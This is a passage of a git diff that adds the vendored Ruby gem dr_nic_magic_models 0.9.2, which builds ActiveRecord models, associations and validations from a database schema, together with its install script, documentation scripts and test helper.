CONFIG["MINOR"] + $libdir = File.join(CONFIG["libdir"], "ruby", version) + $sitedir = $:.find {|x| x =~ /site_ruby/ } + if !$sitedir + $sitedir = File.join($libdir, "site_ruby") + elsif $sitedir !~ Regexp.quote(version) + $sitedir = File.join($sitedir, version) + end +end + +# the acual gruntwork +Dir.chdir("lib") + +Find.find("dr_nic_magic_models", "dr_nic_magic_models.rb") { |f| + if f[-3..-1] == ".rb" + File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true) + else + File::makedirs(File.join($sitedir, *f.split(/\//))) + end +} diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/base.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/base.rb new file mode 100644 index 0000000..e915841 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/base.rb @@ -0,0 +1,12 @@ +#TODO: Use :dependent for FK cascade? + +module ActiveRecord + class Base + class << self + public + def get_unique_index_columns + self.connection.indexes(self.table_name, "#{self.name} Indexes").select { |index| index.unique && index.columns.size == 1 }.map{ |index| index.columns.first } + end + end + end +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract/schema_statements.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract/schema_statements.rb new file mode 100644 index 0000000..e69de29 diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract_adapter.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract_adapter.rb new file mode 100644 index 0000000..9a16608 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract_adapter.rb @@ -0,0 +1,32 @@ + +module ActiveRecord + module ConnectionAdapters # :nodoc: + + # Generic holder for foreign key constraint meta-data from the database schema. + class ForeignKeyConstraint < Struct.new(:name, :table, :foreign_key, :reference_table, :reference_column, :on_update, :on_delete) + end + + class AbstractAdapter + + # Does this adapter support the ability to fetch foreign key information? + # Backend specific, as the abstract adapter always returns +false+. + def supports_fetch_foreign_keys? + false + end + + def foreign_key_constraints(table, name = nil) + raise NotImplementedError, "foreign_key_constraints is not implemented for #{self.class}" + end + + def remove_foreign_key_constraint(table_name, constraint_name) + raise NotImplementedError, "rename_table is not implemented for #{self.class}" + end + + protected + def symbolize_foreign_key_constraint_action(constraint_action) + return nil if constraint_action.nil? + constraint_action.downcase.gsub(/\s/, '_').to_sym + end + end + end +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/mysql_adapter.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/mysql_adapter.rb new file mode 100644 index 0000000..160cf69 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/mysql_adapter.rb @@ -0,0 +1,42 @@ +# Foreign Key support from http://wiki.rubyonrails.org/rails/pages/Foreign+Key+Schema+Dumper+Plugin + +module ActiveRecord + module ConnectionAdapters + class MysqlAdapter < AbstractAdapter + def supports_fetch_foreign_keys? + true + end + + def foreign_key_constraints(table, name = nil) + constraints = [] + execute("SHOW CREATE TABLE #{table}", name).each do |row| + row[1].each do |create_line| + if create_line.strip =~ /CONSTRAINT `([^`]+)` FOREIGN KEY \(`([^`]+)`\) REFERENCES `([^`]+)` \(`([^`]+)`\)([^,]*)/ + constraint = ForeignKeyConstraint.new(Regexp.last_match(1), table, Regexp.last_match(2), Regexp.last_match(3), Regexp.last_match(4), nil, nil) + + constraint_params = {} + + unless Regexp.last_match(5).nil? + Regexp.last_match(5).strip.split('ON ').each do |param| + constraint_params[Regexp.last_match(1).upcase] = Regexp.last_match(2).strip.upcase if param.strip =~ /([^ ]+) (.+)/ + end + end + + constraint.on_update = symbolize_foreign_key_constraint_action(constraint_params['UPDATE']) if constraint_params.include? 'UPDATE' + constraint.on_delete = symbolize_foreign_key_constraint_action(constraint_params['DELETE']) if constraint_params.include? 'DELETE' + + constraints << constraint + end + end + end + + constraints + end + + def remove_foreign_key_constraint(table_name, constraint_name) + execute "ALTER TABLE #{table_name} DROP FOREIGN KEY #{constraint_name}" + end + + end + end +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/postgresql_adapter.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/postgresql_adapter.rb new file mode 100644 index 0000000..4315598 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/postgresql_adapter.rb @@ -0,0 +1,45 @@ +# Foreign Key support from http://wiki.rubyonrails.org/rails/pages/Foreign+Key+Schema+Dumper+Plugin + +module ActiveRecord + module ConnectionAdapters + class PostgreSQLAdapter < AbstractAdapter + + def supports_fetch_foreign_keys? + true + end + + def foreign_key_constraints(table, name = nil) + + + sql = "SELECT conname, pg_catalog.pg_get_constraintdef(oid) AS consrc FROM pg_catalog.pg_constraint WHERE contype='f' " + sql += "AND conrelid = (SELECT oid FROM pg_catalog.pg_class WHERE relname='#{table}')" + + result = query(sql, name) + + keys = [] + re = /(?i)^FOREIGN KEY \((.+)\) REFERENCES (.+)\((.+)\)(?: ON UPDATE (\w+))?(?: ON DELETE (\w+))?$/ + result.each do |row| + # pg_catalog.pg_get_constraintdef returns a string like this: + # FOREIGN KEY (user_id) REFERENCES users(id) ON UPDATE CASCADE ON DELETE CASCADE + if match = re.match(row[1]) + + keys << ForeignKeyConstraint.new(row[0], + table, + match[1], + match[2], + match[3], + symbolize_foreign_key_constraint_action(match[4]), + symbolize_foreign_key_constraint_action(match[5])) + end + end + + keys + end + + def remove_foreign_key_constraint(table_name, constraint_name) + execute "ALTER TABLE #{table_name} DROP CONSTRAINT #{constraint_name}" + end + + end + end +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models.rb new file mode 100644 index 0000000..cae51ec --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models.rb @@ -0,0 +1,34 @@ +$:.unshift(File.dirname(__FILE__)) unless + $:.include?(File.dirname(__FILE__)) || $:.include?(File.expand_path(File.dirname(__FILE__))) + +unless defined?(ActiveRecord) + begin + require 'active_record' + rescue LoadError + require 'rubygems' + require_gem 'activerecord' + end +end + +module DrNicMagicModels + Logger = RAILS_DEFAULT_LOGGER rescue Logger.new(STDERR) +end + +require 'dr_nic_magic_models/magic_model' +require 'dr_nic_magic_models/schema' +require 'dr_nic_magic_models/validations' +require 'dr_nic_magic_models/inflector' +require 'base' +require 'module' +require 'rails' rescue nil +require 'connection_adapters/abstract_adapter' +require 'connection_adapters/mysql_adapter' +require 'connection_adapters/postgresql_adapter' + +# load the schema +# TODO - add this to README - DrNicMagicModels::Schema.load_schema(true) + +class ActiveRecord::Base + include DrNicMagicModels::MagicModel + extend DrNicMagicModels::Validations +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/inflector.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/inflector.rb new file mode 100644 index 0000000..0465be6 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/inflector.rb @@ -0,0 +1,14 @@ +module DrNicMagicModels + class Inflector + def table_names ; DrNicMagicModels::Schema.table_names; end + def tables ; DrNicMagicModels::Schema.tables; end + def models ; DrNicMagicModels::Schema.model; end + + def class_name(table_name) + ActiveRecord::Base.class_name(table_name) + end + + def post_class_creation(klass) + end + end +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/magic_model.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/magic_model.rb new file mode 100644 index 0000000..babd73a --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/magic_model.rb @@ -0,0 +1,133 @@ +# Mixed into a class that is dynamically created, unless +# the class was created by the Schema.load_schema process +# which builds the whole class, thus no magicalness is +# needed +module DrNicMagicModels::MagicModel + def self.append_features(base) + super + base.send(:include, InstanceMethods) + class << base + # Returns the AssociationReflection object for the named +aggregation+ (use the symbol). Example: + # Account.reflect_on_association(:owner) # returns the owner AssociationReflection + # Invoice.reflect_on_association(:line_items).macro # returns :has_many + def reflect_on_association(association) + unless reflections[association] + # See if an assocation can be generated + self.new.send(association) rescue nil + end + reflections[association].is_a?(ActiveRecord::Reflection::AssociationReflection) ? reflections[association] : nil + end + end + end + + module InstanceMethods + + def method_missing(method, *args, &block) + begin + super + rescue + if unknown_method? method + result = find_belongs_to method, *args, &block + result = find_has_some method, *args, &block if not result + result = find_has_some_indirect method, *args, &block if not result + return result if result + end + add_known_unknown method + raise + end + end + + def add_known_unknown(method) + @known_unknowns ||= {} + @known_unknowns[method] = true + end + + def unknown_method?(method) + @known_unknowns.nil? or @known_unknowns.include? method + end + + def find_belongs_to(method, *args, &block) + method_clean = clean_method method + fkc = + begin + self.class.connection.foreign_key_constraints(self.class.table_name, method_clean) + rescue NotImplementedError + nil + end + if !fkc.nil? && fkc.length > 0 + foreign_key = fkc.first.foreign_key + options = {:dependent => :destroy, + :foreign_key => fkc.first.foreign_key, + :class_name => self.class.class_name(fkc.first.reference_table)} + else + foreign_key = self.class.columns.select {|column| column.name == method_clean.to_s.foreign_key}.first + end + options ||= {} + return add_belongs_to(method, method_clean, options, *args, &block) if foreign_key + end + + def add_belongs_to(method, method_clean, options, *args, &block) + self.class.send 'belongs_to', method_clean.to_sym, options rescue puts $! + self.send(method, *args, &block) + end + + def find_has_some(method, *args, &block) + method_clean = clean_method method + fkc = [method_clean.to_s.pluralize, method_clean.to_s.singularize].inject({}) do |pair, table_name| + fkc = begin + self.class.connection.foreign_key_constraints(table_name) + rescue NotImplementedError + nil + end + pair[table_name] = fkc if not fkc.blank? + pair + end + if not fkc.blank? + # assumes there is only one table found - that schema doesn't have a singular and plural table of same name + foreign_key = fkc.values.first.find {|fk| fk.reference_table == self.class.table_name} + if foreign_key + foreign_key = foreign_key.foreign_key + table_name = fkc.keys.first + klass = Module.const_get table_name.singularize.camelize rescue nil + options = {:foreign_key => foreign_key, :class_name => klass.name} + end + end + unless foreign_key + klass = Module.const_get method_clean.to_s.downcase.singularize.camelize rescue nil + foreign_key = klass.columns.select {|column| column.name == self.class.name.foreign_key}.first if klass + end + options ||= {} + return add_has_some(method, method_clean, options, *args, &block) if foreign_key + end + + def add_has_some(method, method_clean, options, *args, &block) + association = method_clean.singularize == method_clean ? 'has_one' : 'has_many' + self.class.send association, method_clean.to_sym, options rescue puts $! + self.send(method, *args, &block) + end + + def find_has_some_indirect(method, *args, &block) + klass = Module.const_get method.to_s.downcase.singularize.camelize rescue return + join_table = nil + self.connection.tables.each do |table| + unless [self.class.table_name, klass.table_name].include? table + columns = self.connection.columns(table).map(&:name) + join_table = table if columns.include?(self.class.to_s.foreign_key) and columns.include?(klass.to_s.foreign_key) + end + break if join_table + end + return add_has_some_through(join_table, method, *args, &block) if join_table + end + + def add_has_some_through(join_table, method, *args, &block) + self.class.send 'has_many', method, :through => join_table.to_sym + self.send(method, *args, &block) + end + + private + + def clean_method(method) + method.to_s.gsub(/=$/,'') # remove any = from the end of the method name + end + end +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/schema.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/schema.rb new file mode 100644 index 0000000..d9d3986 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/schema.rb @@ -0,0 +1,270 @@ +module DrNicMagicModels + + # ONE Schema per namespace module + # Person, Company, etc share the Object namespace module, ie. ::Person, ::Company + # Blog::Post, Blog::Comment, share the Blog namespace module + class Schema + attr_reader :modul + + def initialize(modul) + @modul = modul + @table_name_prefix = modul.instance_variable_get("@table_name_prefix") rescue '' + logger.info "Create Schema for #{@modul}, table_name_prefix '#{@table_name_prefix}'" + end + + cattr_accessor :inflector + cattr_accessor :superklass + + # Need to store models etc per-module, not in @ @models + def inflector + @inflector ||= Inflector.new + end + + # all in lower case please + ReservedTables = [:schema_info, :sessions] + @models = nil + + def logger + @logger ||= DrNicMagicModels::Logger + end + + def models + load_schema if @models.nil? + @models + end + + def tables + load_schema if @tables.nil? + @tables + end + + def table_names + load_schema if @table_names.nil? + @table_names + end + + def fks_on_table(table_name) + load_schema if @models.nil? + @fks_by_table[table_name.to_s] || [] + end + + # active record only support 2 column link tables, otherwise use a model table, has_many and through + def is_link_table?(table_name) + load_schema if @models.nil? + return @link_tables[table_name] if ! @link_tables[table_name].nil? + column_names = @conn.columns(table_name).map{|x| x.name } + @link_tables[table_name] = ! column_names.include?("id") && column_names.length == 2 && column_names.select { |x| x =~ /_id$/ } == column_names + return @link_tables[table_name] + end + + def link_tables_for_class(klass) + load_schema if @models.nil? + end + + def load_schema(preload = false) + return if !@models.nil? + + @superklass ||= ActiveRecord::Base + raise "No database connection" if !(@conn = @superklass.connection) + + @models = ModelHash.new + @tables = Hash.new + @fks_by_table = Hash.new + @link_tables = Hash.new + + @table_names = @conn.tables + @table_names = @table_names.grep(/^#{@table_name_prefix}/) if @table_name_prefix + @table_names = @table_names.sort + + logger.info "For #{modul} tables are #{@table_names.inspect}" + + # Work out which tables are in the model and which aren't + @table_names.each do |table_name| + + # deal with reserved tables & link_tables && other stray id-less tables + #key = 'id' + #case ActiveRecord::Base.primary_key_prefix_type + # when :table_name + # key = Inflector.foreign_key(table_name, false) + # when :table_name_with_underscore + # key = Inflector.foreign_key(table_name) + #end + #next if ReservedTables.include?(table_name.downcase.to_sym) || + # is_link_table?(table_name) || + # ! @conn.columns(table_name).map{ |x| x.name}.include?(key) + + table_name_clean = table_name.gsub(/^#{@table_name_prefix}/,'') + + # a model table then... + model_class_name = inflector.class_name(table_name_clean) + + logger.debug "Got a model table: #{table_name} => class #{model_class_name}" + + @models[model_class_name] = table_name + @tables[table_name] = model_class_name + + if preload + # create by MAGIC! + klass = model_class_name.constantize + + # Process FKs? + if @conn.supports_fetch_foreign_keys? + + tables.each do |table_name| + logger.debug "Getting FKs for #{table_name}" + @fks_by_table[table_name] = Array.new + @conn.foreign_key_constraints(table_name).each do |fk| + logger.debug "Got one: #{fk}" + @fks_by_table[table_name].push(fk) + end # do each fk + + end # each table + end + + # Try to work out our link tables now... + @models.keys.sort.each{|klass| process_table(@models[klass.to_s])} + @link_tables.keys.sort.each{|table_name| process_link_table(table_name) if @link_tables[table_name]} + end + end + + end + + def process_table(table_name) + + logger.debug "Processing model table #{table_name}" + + # ok, so let's look at the foreign keys on the table... + belongs_to_klass = @tables[table_name].constantize rescue return + + processed_columns = Hash.new + + fks_on_table(table_name).each do |fk| + logger.debug "Found FK column by suffix _id [#{fk.foreign_key}]" + has_some_klass = Inflector.classify(fk.reference_table).constantize rescue next + processed_columns[fk.foreign_key] = { :has_some_klass => has_some_klass } + processed_columns[fk.foreign_key].merge! add_has_some_belongs_to(belongs_to_klass, fk.foreign_key, has_some_klass) rescue next + end + + column_names = @conn.columns(table_name).map{ |x| x.name} + column_names.each do |column_name| + next if not column_name =~ /_id$/ + logger.debug "Found FK column by suffix _id [#{column_name}]" + if processed_columns.key?(column_name) + logger.debug "Skipping, already processed" + next + end + has_some_klass = Inflector.classify(column_name.sub(/_id$/,"")).constantize rescue next + processed_columns[column_name] = { :has_some_klass => has_some_klass } + processed_columns[column_name].merge! add_has_some_belongs_to(belongs_to_klass, column_name, has_some_klass) rescue next + end + + #TODO: what if same classes in table? + + # is this a link table with attributes? (has_many through?) + return if processed_columns.keys.length < 2 + + processed_columns.keys.each do |key1| + processed_columns.keys.each do |key2| + next if key1 == key2 + logger.debug "\n*** #{processed_columns[key1][:has_some_class]}.send 'has_many', #{processed_columns[key2][:belongs_to_name].to_s.pluralize.to_sym}, :through => #{processed_columns[key2][:has_some_name]}\n\n" + processed_columns[key1][:has_some_class].send 'has_many', processed_columns[key2][:belongs_to_name].to_s.pluralize.to_sym, :through => processed_columns[key2][:has_some_name].to_sym + end + end + + end + + def add_has_some_belongs_to(belongs_to_klass, belongs_to_fk, has_some_klass) + + logger.debug "Trying to add a #{belongs_to_klass} belongs_to #{has_some_klass}..." + + # so this is a belongs_to & has_some style relationship... + # is it a has_many, or a has_one? Well, let's assume a has_one has a unique index on the column please... good db design, haha! + unique = belongs_to_klass.get_unique_index_columns.include?(belongs_to_fk) + belongs_to_name = belongs_to_fk.sub(/_id$/, '').to_sym + + logger.debug "\n*** #{belongs_to_klass}.send 'belongs_to', #{belongs_to_name}, :class_name => #{has_some_klass}, :foreign_key => #{belongs_to_fk}\n" + belongs_to_klass.send(:belongs_to, belongs_to_name, :class_name => has_some_klass.to_s, :foreign_key => belongs_to_fk.to_sym) + + # work out if we need a prefix + has_some_name = ( + (unique ? belongs_to_klass.table_name.singularize : belongs_to_klass.table_name) + + (belongs_to_name.to_s == has_some_klass.table_name.singularize ? "" : "_as_"+belongs_to_name.to_s) + ).downcase.to_sym + method = unique ? :has_one : :has_many + logger.debug "\n*** #{has_some_klass}.send(#{method}, #{has_some_name}, :class_name => #{belongs_to_klass.to_s}, :foreign_key => #{belongs_to_fk.to_sym})\n\n" + has_some_klass.send(method, has_some_name, :class_name => belongs_to_klass.to_s, :foreign_key => belongs_to_fk.to_sym) + + return { :method => method, :belongs_to_name => belongs_to_name, :has_some_name => has_some_name, :has_some_class => has_some_klass } + + end + + def process_link_table(table_name) + + logger.debug "Processing link table #{table_name}" + + classes_map = Hash.new + column_names = @conn.columns(table_name).map{ |x| x.name} + + # use foreign keys first + fks_on_table(table_name).each do |fk| + logger.debug "Processing fk: #{fk}" + klass = Inflector.classify(fk.reference_table).constantize rescue logger.debug("Cannot find model #{class_name} for table #{fk.reference_table}") && return + classes_map[fk.foreign_key] = klass + end + + logger.debug "Got #{classes_map.keys.length} references from FKs" + + if classes_map.keys.length < 2 + + #Fall back on good ol _id recognition + + column_names.each do |column_name| + + # check we haven't processed by fks already + next if ! classes_map[column_name].nil? + referenced_table = column_name.sub(/_id$/, '') + + begin + klass = Inflector.classify(referenced_table).constantize + # fall back on FKs here + if ! klass.nil? + classes_map[column_name] = klass + end + rescue + end + end + end + + # not detected the link table? + logger.debug "Got #{classes_map.keys.length} references" + logger.debug "Cannot detect both tables referenced in link table" && return if classes_map.keys.length != 2 + + logger.debug "Adding habtm relationship" + + logger.debug "\n*** #{classes_map[column_names[0]]}.send 'has_and_belongs_to_many', #{column_names[1].sub(/_id$/,'').pluralize.to_sym}, :class_name => #{classes_map[column_names[1]].to_s}, :join_table => #{table_name.to_sym}\n" + logger.debug "\n*** #{classes_map[column_names[1]]}.send 'has_and_belongs_to_many', #{column_names[0].sub(/_id$/,'').pluralize.to_sym}, :class_name => #{classes_map[column_names[0]].to_s}, :join_table => #{table_name.to_sym}\n\n" + + classes_map[column_names[0]].send 'has_and_belongs_to_many', column_names[1].sub(/_id$/,'').pluralize.to_sym, :class_name => classes_map[column_names[1]].to_s, :join_table => table_name.to_sym + classes_map[column_names[1]].send 'has_and_belongs_to_many', column_names[0].sub(/_id$/,'').pluralize.to_sym, :class_name => classes_map[column_names[0]].to_s, :join_table => table_name.to_sym + + end + end + + class ModelHash < Hash + def unenquire(class_id) + @enquired ||= {} + @enquired[class_id = class_id.to_s] = false + end + + def enquired?(class_id) + @enquired ||= {} + @enquired[class_id.to_s] + end + + def [](class_id) + enquired?(class_id = class_id.to_s) + @enquired[class_id] = true + super(class_id) + end + end +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/validations.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/validations.rb new file mode 100644 index 0000000..4b16983 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/validations.rb @@ -0,0 +1,46 @@ +module DrNicMagicModels + module Validations + + def generate_validations + + logger = DrNicMagicModels::Logger + + # Ensure that the connection to db is established, else validations don't get created. + ActiveRecord::Base.connection + + # Code reworked from http://www.redhillconsulting.com.au/rails_plugins.html + # Thanks Red Hill Consulting for using an MIT licence :o) + + # NOT NULL constraints + self.columns.reject { |column| column.name =~ /(?i)^(((created|updated)_(at|on))|position|type|id)$/ }.each do |column| + + if column.type == :integer + logger.debug "validates_numericality_of #{column.name}, :allow_nil => #{column.null.inspect}, :only_integer => true" + self.validates_numericality_of column.name, :allow_nil => column.null, :only_integer => true + elsif column.number? + logger.debug "validates_numericality_of #{column.name}, :allow_nil => #{column.null.inspect}" + self.validates_numericality_of column.name, :allow_nil => column.null + elsif column.text? && column.limit + logger.debug "validates_length_of #{column.name}, :allow_nil => #{column.null.inspect}, :maximum => #{column.limit}" + self.validates_length_of column.name, :allow_nil => column.null, :maximum => column.limit + end + + # Active record seems to interpolate booleans anyway to either true, false or nil... + if column.type == :boolean + logger.debug "validates_inclusion_of #{column.name}, :in => [true, false], :allow_nil => #{column.null}, :message => ActiveRecord::Errors.default_error_messages[:blank]" + self.validates_inclusion_of column.name, :in => [true, false], :allow_nil => column.null, :message => ActiveRecord::Errors.default_error_messages[:blank] + elsif !column.null + logger.debug "validates_presence_of #{column.name}" + self.validates_presence_of column.name + end + end + + # Single-column UNIQUE indexes + get_unique_index_columns.each do |col| + logger.debug "validates_uniqueness_of #{col}" + self.validates_uniqueness_of col + end + + end + end +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/version.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/version.rb new file mode 100644 index 0000000..50d2a70 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/version.rb @@ -0,0 +1,9 @@ +module DrNicMagicModels #:nodoc: + module VERSION #:nodoc: + MAJOR = 0 + MINOR = 9 + TINY = 2 + + STRING = [MAJOR, MINOR, TINY].join('.') + end +end diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/module.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/module.rb new file mode 100644 index 0000000..909acb0 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/module.rb @@ -0,0 +1,33 @@ +class Module + alias :normal_const_missing :const_missing + + def const_missing(class_id) + begin + return normal_const_missing(class_id) + rescue + end + @magic_schema ||= DrNicMagicModels::Schema.new self + unless table_name = @magic_schema.models[class_id] + raise NameError.new("uninitialized constant #{class_id}") if @magic_schema.models.enquired? class_id + end + superklass = @magic_schema.superklass || ActiveRecord::Base + klass = create_class(class_id, superklass) do + set_table_name table_name + # include DrNicMagicModels::MagicModel + # extend DrNicMagicModels::Validations + end + klass.generate_validations # need to call this AFTER the class name has been assigned + @magic_schema.inflector.post_class_creation klass + klass + end + + def magic_module(options) + self.instance_variable_set "@table_name_prefix", options[:table_name_prefix] if options[:table_name_prefix] + end + + private + def create_class(class_name, superclass, &block) + klass = Class.new superclass, &block + self.const_set class_name, klass + end +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/lib/rails.rb b/vendor/gems/dr_nic_magic_models-0.9.2/lib/rails.rb new file mode 100644 index 0000000..b215db9 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/lib/rails.rb @@ -0,0 +1,19 @@ +module Dependencies #:nodoc:# + + @@models_dir = File.expand_path(File.join(RAILS_ROOT,'app','models')) + + # don't reload models... it doesn't work anyway, not sure why they haven't done this? + # submit as patch? + alias require_or_load_old require_or_load + def require_or_load(file_name, *args) + file_name = $1 if file_name =~ /^(.*)\.rb$/ + expanded = File.expand_path(file_name) + old_mechanism = Dependencies.mechanism + if expanded =~ /^#{@@models_dir}/ + RAILS_DEFAULT_LOGGER.debug "*** Not reloading #{file_name}" + Dependencies.mechanism = :require + end + require_or_load_old(file_name, *args) + Dependencies.mechanism = old_mechanism + end +end \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2html b/vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2html new file mode 100644 index 0000000..03e89c1 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2html @@ -0,0 +1,66 @@ +#!/usr/bin/env ruby + +require 'rubygems' +require 'redcloth' +require 'syntax/convertors/html' +require 'erb' +require File.dirname(__FILE__) + '/../lib/dr_nic_magic_models/version.rb' + +version = DrNicMagicModels::VERSION::STRING +download = 'http://rubyforge.org/projects/magicmodels' + +class Fixnum + def ordinal + # teens + return 'th' if (10..19).include?(self % 100) + # others + case self % 10 + when 1: return 'st' + when 2: return 'nd' + when 3: return 'rd' + else return 'th' + end + end +end + +class Time + def pretty + return "#{mday}#{mday.ordinal} #{strftime('%B')} #{year}" + end +end + +def convert_syntax(syntax, source) + return Syntax::Convertors::HTML.for_syntax(syntax).convert(source).gsub(%r!^
    |
    $!,'') +end + +if ARGV.length >= 1 + src, template = ARGV + template ||= File.dirname(__FILE__) + '/../website/template.rhtml' +else + puts("Usage: #{File.split($0).last} source.txt [template.rhtml] > output.html") + exit! +end + +template = ERB.new(File.open(template).read) + +title = nil +body = nil +File.open(src) do |fsrc| + title_text = fsrc.readline + body_text = fsrc.read + syntax_items = [] + body_text.gsub!(%r!<(pre|code)[^>]*?syntax=['"]([^'"]+)[^>]*>(.*?)!m){ + ident = syntax_items.length + element, syntax, source = $1, $2, $3 + syntax_items << "<#{element} class=\"syntax\">#{convert_syntax(syntax, source)}" + "syntax-temp-#{ident}" + } + title = RedCloth.new(title_text).to_html.gsub(%r!<.*?>!,'').strip + body = RedCloth.new(body_text).to_html + body.gsub!(%r!(?:
    )?syntax-temp-(\d+)(?:
    )?!){ syntax_items[$1.to_i] } +end +stat = File.stat(src) +created = stat.ctime +modified = stat.mtime + +$stdout << template.result(binding) diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2js b/vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2js new file mode 100644 index 0000000..fb329ea --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/scripts/txt2js @@ -0,0 +1,58 @@ +#!/usr/bin/env ruby + +require 'rubygems' +require 'redcloth' +require 'syntax/convertors/html' +require 'erb' +require 'active_support' +require File.dirname(__FILE__) + '/../lib/dr_nic_magic_models/version.rb' + +version = DrNicMagicModels::VERSION::STRING +download = 'http://rubyforge.org/projects/magicmodels' + +class Fixnum + def ordinal + # teens + return 'th' if (10..19).include?(self % 100) + # others + case self % 10 + when 1: return 'st' + when 2: return 'nd' + when 3: return 'rd' + else return 'th' + end + end +end + +class Time + def pretty + return "#{mday}#{mday.ordinal} #{strftime('%B')} #{year}" + end +end + +def convert_syntax(syntax, source) + return Syntax::Convertors::HTML.for_syntax(syntax).convert(source).gsub(%r!^
    |
    $!,'') +end + +if ARGV.length >= 1 + src, template = ARGV + template ||= File.dirname(__FILE__) + '/../website/template.js' +else + puts("Usage: #{File.split($0).last} source.txt [template.rhtml] > output.html") + exit! +end + +template = ERB.new(File.open(template).read) + +title = nil +body = nil +File.open(src) do |fsrc| + title_text = fsrc.readline + body = fsrc.read + title = RedCloth.new(title_text).to_html.gsub(%r!<.*?>!,'').strip +end +stat = File.stat(src) +created = stat.ctime +modified = stat.mtime + +$stdout << template.result(binding) diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test.db b/vendor/gems/dr_nic_magic_models-0.9.2/test.db new file mode 100644 index 0000000..6716a0d Binary files /dev/null and b/vendor/gems/dr_nic_magic_models-0.9.2/test.db differ diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/test/abstract_unit.rb b/vendor/gems/dr_nic_magic_models-0.9.2/test/abstract_unit.rb new file mode 100644 index 0000000..8e12cc6 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/test/abstract_unit.rb @@ -0,0 +1,72 @@ +$:.unshift(File.dirname(__FILE__) + '/../lib') + +require 'rubygems' +require 'test/unit' +require 'active_record' +require 'active_record/fixtures' +require 'active_support/binding_of_caller' +require 'active_support/breakpoint' +require 'connection' +require 'dr_nic_magic_models' + +ActiveSupport::Deprecation.debug = true + + +QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type') unless Object.const_defined?(:QUOTED_TYPE) + +class Test::Unit::TestCase #:nodoc: + self.fixture_path = File.dirname(__FILE__) + "/fixtures/" + self.use_instantiated_fixtures = false + self.use_transactional_fixtures = true #(ENV['AR_NO_TX_FIXTURES'] != "yes") + + def create_fixtures(*table_names, &block) + Fixtures.create_fixtures(File.dirname(__FILE__) + "/fixtures/", table_names, {}, &block) + end + + def assert_date_from_db(expected, actual, message = nil) + # SQL Server doesn't have a separate column type just for dates, + # so the time is in the string and incorrectly formatted + if current_adapter?(:SQLServerAdapter) + assert_equal expected.strftime("%Y/%m/%d 00:00:00"), actual.strftime("%Y/%m/%d 00:00:00") + elsif current_adapter?(:SybaseAdapter) + assert_equal expected.to_s, actual.to_date.to_s, message + else + assert_equal expected.to_s, actual.to_s, message + end + end + + def assert_queries(num = 1) + ActiveRecord::Base.connection.class.class_eval do + self.query_count = 0 + alias_method :execute, :execute_with_query_counting + end + yield + ensure + ActiveRecord::Base.connection.class.class_eval do + alias_method :execute, :execute_without_query_counting + end + assert_equal num, ActiveRecord::Base.connection.query_count, "#{ActiveRecord::Base.connection.query_count} instead of #{num} queries were executed." + end + + def assert_no_queries(&block) + assert_queries(0, &block) + end + +end + +def current_adapter?(type) + ActiveRecord::ConnectionAdapters.const_defined?(type) && + ActiveRecord::Base.connection.instance_of?(ActiveRecord::ConnectionAdapters.const_get(type)) +end + 